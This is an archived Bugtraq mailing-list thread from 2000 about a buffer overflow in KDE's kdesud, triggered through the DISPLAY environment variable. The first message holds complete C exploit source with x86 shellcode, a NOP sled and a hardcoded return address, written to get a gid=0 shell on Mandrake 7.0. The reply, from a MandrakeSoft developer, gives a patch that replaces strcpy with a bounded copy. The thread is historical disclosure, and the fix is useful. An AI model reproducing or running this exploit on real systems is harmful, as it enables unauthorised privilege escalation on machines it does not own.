5140579 2000-05-28 23:20 /94 rader/ Postmaster
Mottagare: Bugtraq (import) <11048>
Ärende: KDE: /usr/bin/kdesud, gid = 0 exploit
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: bugtraq@securityfocus.com
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Message-ID: <392EA476.5825D813@gsu.linux.org.tr>
Date: Fri, 26 May 2000 19:21:10 +0300
Reply-To: noir <noir@GSU.LINUX.ORG.TR>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: noir <noir@GSU.LINUX.ORG.TR>
X-To: bugtraq@securityfocus.com
To: BUGTRAQ@SECURITYFOCUS.COM
/usr/bin/kdesud has DISPLAY enviroment variable overflow.
tested on Mandrake 7.02 (Air), exploit will get you gid=0
Shameless self promotion: Any security related job in Istanbul/Turkey
???
Respect,
noir
/* KDE: /usr/bin/kdesud exploit by noir
* x86/Linux
* noir@gsu.linux.org.tr | noir@olympos.org
* DISPLAY env overflow
* this script will get you gid = 0 !!
* tested on Mandrake 7.0 (Air), for other distros play with argv1 for
eip
* greetz: dustdevil, Cronos, moog, still, #olympos irc.sourtimes.org
*
*/
#include <stdio.h>
#include <string.h>
#define NOP 0x90
#define ALIGN 2
#define RET 0xbffff664 // Mandrake 7.0 (x86)
int
main(int argc, char *argv[])
{
unsigned char shell[] =
"\x31\xc0\x89\xc3\x89\xc1\xb0\x47\xcd\x80" /* setregid(0, 0) */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char buf[400];
int i, a;
long ret = RET;
if(argv[1])
ret = ret - atoi(argv[1]);
memset(buf, NOP, 400);
for(i = ALIGN ; i < 160 + ALIGN; i+=4)
*(long *) &buf[i] = ret;
for( i = 300, a = 0; a < strlen(shell) ; i++, a++ )
buf[i] = shell[a];
buf[399] = 0x00;
printf("eip: 0x%x\n", ret);
setenv("DISPLAY", buf, 1);
execl("/usr/bin/kdesud", "kdesud", 0);
}
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(5140579) ------------------------------------------
5144057 2000-05-29 22:33 /41 rader/ Postmaster
Mottagare: Bugtraq (import) <11051>
Ärende: Re: KDE: /usr/bin/kdesud, gid = 0 exploit
------------------------------------------------------------
Approved-By: aleph1@SECURITYFOCUS.COM
Delivered-To: bugtraq@lists.securityfocus.com
Delivered-To: BUGTRAQ@SECURITYFOCUS.COM
User-Agent: Gnus/5.0807 (Gnus v5.8.7) Emacs/20.5
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Message-ID: <m2hfbi2w3w.fsf@vador.mandrakesoft.com>
Date: Sun, 28 May 2000 23:38:59 +0200
Reply-To: Chmouel Boudjnah <chmouel@MANDRAKESOFT.COM>
Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM>
From: Chmouel Boudjnah <chmouel@MANDRAKESOFT.COM>
X-To: noir <noir@GSU.LINUX.ORG.TR>
X-cc: BUGTRAQ@SECURITYFOCUS.COM, Pascal Rigaux
<pixel@linux-mandrake.com>, future@linux-mandrake.com
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To: noir's message of "Fri, 26 May 2000 19:21:10 +0300"
noir <noir@GSU.LINUX.ORG.TR> writes:
> /usr/bin/kdesud has DISPLAY enviroment variable overflow.
> tested on Mandrake 7.02 (Air), exploit will get you gid=0
Here is the patch :
--- kdesu/kdesud/kdesud.cpp.chmou Sun May 28 23:31:28 2000
+++ kdesu/kdesud/kdesud.cpp Sun May 28 23:31:41 2000
@@ -161,7 +161,8 @@
struct sockaddr_un addr;
addr.sun_family = AF_UNIX;
- strcpy(addr.sun_path, sock.c_str());
+ strncpy(addr.sun_path, sock.c_str(), sizeof(addr.sun_path) - 1);
+ addr.sun_path[sizeof(addr.sun_path) - 1] = 0;
addrlen = SUN_LEN(&addr);
if (bind(sockfd, (struct sockaddr *)&addr, addrlen) < 0) {
xerror("bind(): %s");
--
MandrakeSoft Inc http://www.mandrakesoft.com
In travel. --Chmouel
(5144057) ------------------------------------------